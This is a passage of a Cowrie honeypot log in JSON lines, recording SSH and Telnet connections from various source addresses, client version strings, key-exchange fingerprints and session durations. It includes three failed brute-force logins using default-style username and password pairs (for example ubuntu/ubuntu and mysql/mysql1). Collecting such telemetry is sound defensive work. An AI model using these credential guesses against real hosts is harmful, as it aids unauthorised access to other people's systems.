com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:16.374281Z","src_ip":"40.124.175.234","session":"8523de53d886","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.124.175.234","src_port":41292,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d492a4e4d52","protocol":"ssh","message":"New connection: 40.124.175.234:41292 (10.17.0.5:22) [session: 3d492a4e4d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:16.492172Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_134.199.244.163_22","message":"Remote SSH version: MGLNDD_134.199.244.163_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:16.496853Z","src_ip":"40.124.175.234","session":"3d492a4e4d52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:16.500468Z","src_ip":"40.124.175.234","session":"3d492a4e4d52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":59296,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7f4cefcefc6","protocol":"telnet","message":"New connection: 206.189.32.23:59296 (10.17.0.5:23) [session: d7f4cefcefc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:18.804004Z"}
{"eventid":"cowrie.session.closed","duration":35.60011267662048,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:19.472561Z","src_ip":"188.208.141.113","session":"fcb89883d2d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.474588632583618,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:19.657464Z","src_ip":"206.189.32.23","session":"71c778df4c6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.549604654312134,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:20.616821Z","src_ip":"162.55.233.176","session":"dc266d2a6e2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.55739212036133,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:21.164913Z","src_ip":"162.55.233.176","session":"1f7f49defcc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:26.321638Z","src_ip":"40.124.175.234","session":"8523de53d886","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.209.156.146","src_port":51131,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dab82c50c81","protocol":"telnet","message":"New connection: 115.209.156.146:51131 (10.17.0.5:23) [session: 4dab82c50c81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:32.217762Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":46524,"dst_ip":"10.17.0.5","dst_port":23,"session":"b037a14b6797","protocol":"telnet","message":"New connection: 206.189.32.23:46524 (10.17.0.5:23) [session: b037a14b6797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:34.619130Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":51946,"dst_ip":"10.17.0.5","dst_port":23,"session":"10563773d57f","protocol":"telnet","message":"New connection: 206.189.32.23:51946 (10.17.0.5:23) [session: 10563773d57f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:41.351213Z"}
{"eventid":"cowrie.session.closed","duration":12.362263202667236,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:44.579938Z","src_ip":"115.209.156.146","session":"4dab82c50c81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00074505805969,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:51.122172Z","src_ip":"45.171.22.210","session":"bbffdcc7519f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.45279407501221,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:01.226123Z","src_ip":"206.189.32.23","session":"2a9d45139249","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.351682901382446,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:03.155425Z","src_ip":"206.189.32.23","session":"d7f4cefcefc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":46932,"dst_ip":"10.17.0.5","dst_port":23,"session":"241f99572802","protocol":"telnet","message":"New connection: 206.189.32.23:46932 (10.17.0.5:23) [session: 241f99572802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:03.686419Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":51136,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a6f9d939e10","protocol":"telnet","message":"New connection: 206.189.32.23:51136 (10.17.0.5:23) [session: 8a6f9d939e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:07.467043Z"}
{"eventid":"cowrie.session.closed","duration":3.881761074066162,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:07.568043Z","src_ip":"206.189.32.23","session":"241f99572802","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":33170,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef5cfd2bb9d1","protocol":"telnet","message":"New connection: 206.189.32.23:33170 (10.17.0.5:23) [session: ef5cfd2bb9d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:17.663102Z"}
{"eventid":"cowrie.session.closed","duration":44.77190089225769,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:19.390908Z","src_ip":"206.189.32.23","session":"b037a14b6797","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.520592212677,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:22.871726Z","src_ip":"206.189.32.23","session":"10563773d57f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":43662,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef1dcf4196e2","protocol":"telnet","message":"New connection: 206.189.32.23:43662 (10.17.0.5:23) [session: ef1dcf4196e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:27.491024Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":44692,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a1595f531f4","protocol":"telnet","message":"New connection: 206.189.32.23:44692 (10.17.0.5:23) [session: 8a1595f531f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:29.489858Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":42510,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b8e2f4c9dcd","protocol":"telnet","message":"New connection: 206.189.32.23:42510 (10.17.0.5:23) [session: 2b8e2f4c9dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:29.498319Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":48698,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a79838d36b2","protocol":"telnet","message":"New connection: 206.189.32.23:48698 (10.17.0.5:23) [session: 0a79838d36b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:32.228520Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":40490,"dst_ip":"159.203.135.109","dst_port":22,"session":"753f1d65baef","protocol":"ssh","message":"New connection: 103.170.173.26:40490 (159.203.135.109:22) [session: 753f1d65baef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:34.683971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:34.689013Z","src_ip":"103.170.173.26","session":"753f1d65baef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:34.952737Z","src_ip":"103.170.173.26","session":"753f1d65baef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ServerPass","message":"login attempt [ubuntu/ServerPass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:36.041534Z","src_ip":"103.170.173.26","session":"753f1d65baef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:37.307677Z","src_ip":"103.170.173.26","session":"753f1d65baef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":54842,"dst_ip":"10.17.0.5","dst_port":23,"session":"76d0fff3347c","protocol":"telnet","message":"New connection: 206.189.32.23:54842 (10.17.0.5:23) [session: 76d0fff3347c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:37.800656Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":50372,"dst_ip":"10.17.0.5","dst_port":23,"session":"f383992c1d1f","protocol":"telnet","message":"New connection: 206.189.32.23:50372 (10.17.0.5:23) [session: f383992c1d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:37.898316Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":55766,"dst_ip":"10.17.0.5","dst_port":23,"session":"5699bd250b9d","protocol":"telnet","message":"New connection: 206.189.32.23:55766 (10.17.0.5:23) [session: 5699bd250b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:40.626642Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":60492,"dst_ip":"10.17.0.5","dst_port":23,"session":"259770d0560c","protocol":"telnet","message":"New connection: 206.189.32.23:60492 (10.17.0.5:23) [session: 259770d0560c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:42.586202Z"}
{"eventid":"cowrie.session.closed","duration":3.1679117679595947,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:43.794472Z","src_ip":"206.189.32.23","session":"5699bd250b9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41238,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f58a49a5536","protocol":"telnet","message":"New connection: 188.208.141.113:41238 (10.17.0.5:23) [session: 6f58a49a5536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:46.397884Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40306,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ffbeb531142","protocol":"telnet","message":"New connection: 162.55.233.176:40306 (159.203.135.109:23) [session: 0ffbeb531142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:48.455364Z"}
{"eventid":"cowrie.session.closed","duration":5.900421857833862,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:52.298171Z","src_ip":"188.208.141.113","session":"6f58a49a5536","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.74409222602844,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:54.211027Z","src_ip":"206.189.32.23","session":"8a6f9d939e10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":47876,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eb841efd1a3","protocol":"telnet","message":"New connection: 206.189.32.23:47876 (10.17.0.5:23) [session: 4eb841efd1a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:55.682493Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.131.186.10","src_port":37438,"dst_ip":"159.203.135.109","dst_port":23,"session":"1418a321636a","protocol":"telnet","message":"New connection: 181.131.186.10:37438 (159.203.135.109:23) [session: 1418a321636a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:27:59.848971Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":58866,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a15106f32b8","protocol":"telnet","message":"New connection: 206.189.32.23:58866 (10.17.0.5:23) [session: 2a15106f32b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:04.711147Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":55036,"dst_ip":"10.17.0.5","dst_port":22,"session":"614a11813f15","protocol":"ssh","message":"New connection: 61.222.211.114:55036 (10.17.0.5:22) [session: 614a11813f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:07.102057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:07.106145Z","src_ip":"61.222.211.114","session":"614a11813f15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:07.316709Z","src_ip":"61.222.211.114","session":"614a11813f15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql1","message":"login attempt [mysql/mysql1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:08.192769Z","src_ip":"61.222.211.114","session":"614a11813f15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:09.405823Z","src_ip":"61.222.211.114","session":"614a11813f15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.519932985305786,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:10.010837Z","src_ip":"206.189.32.23","session":"ef1dcf4196e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.031273365020752,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:12.880121Z","src_ip":"181.131.186.10","session":"1418a321636a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":40450,"dst_ip":"10.17.0.5","dst_port":23,"session":"7214a9565e9c","protocol":"telnet","message":"New connection: 206.189.32.23:40450 (10.17.0.5:23) [session: 7214a9565e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:12.955595Z"}
{"eventid":"cowrie.session.closed","duration":44.04436683654785,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:13.534109Z","src_ip":"206.189.32.23","session":"8a1595f531f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.683990478515625,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:15.582184Z","src_ip":"206.189.32.23","session":"f383992c1d1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35820,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fc0f55c8819","protocol":"telnet","message":"New connection: 188.208.141.113:35820 (10.17.0.5:23) [session: 7fc0f55c8819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:17.939809Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":46964,"dst_ip":"10.17.0.5","dst_port":23,"session":"46cfa785d20f","protocol":"telnet","message":"New connection: 206.189.32.23:46964 (10.17.0.5:23) [session: 46cfa785d20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:19.089940Z"}
{"eventid":"cowrie.session.closed","duration":47.57742714881897,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:19.805830Z","src_ip":"206.189.32.23","session":"0a79838d36b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.516701459884644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:19.971966Z","src_ip":"162.55.233.176","session":"0ffbeb531142","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.91043210029602,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:20.573444Z","src_ip":"206.189.32.23","session":"ef5cfd2bb9d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":59822,"dst_ip":"10.17.0.5","dst_port":22,"session":"a10fd646dc93","protocol":"ssh","message":"New connection: 2.57.122.238:59822 (10.17.0.5:22) [session: a10fd646dc93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:24.008916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:24.012918Z","src_ip":"2.57.122.238","session":"a10fd646dc93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:24.113298Z","src_ip":"2.57.122.238","session":"a10fd646dc93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59640,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6ce8ed7ce6e","protocol":"telnet","message":"New connection: 188.208.141.113:59640 (10.17.0.5:23) [session: e6ce8ed7ce6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:24.264174Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:24.414656Z","src_ip":"2.57.122.238","session":"a10fd646dc93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.715929746627808,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:24.655565Z","src_ip":"188.208.141.113","session":"7fc0f55c8819","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:25.517550Z","src_ip":"2.57.122.238","session":"a10fd646dc93","protocol":"ssh"}
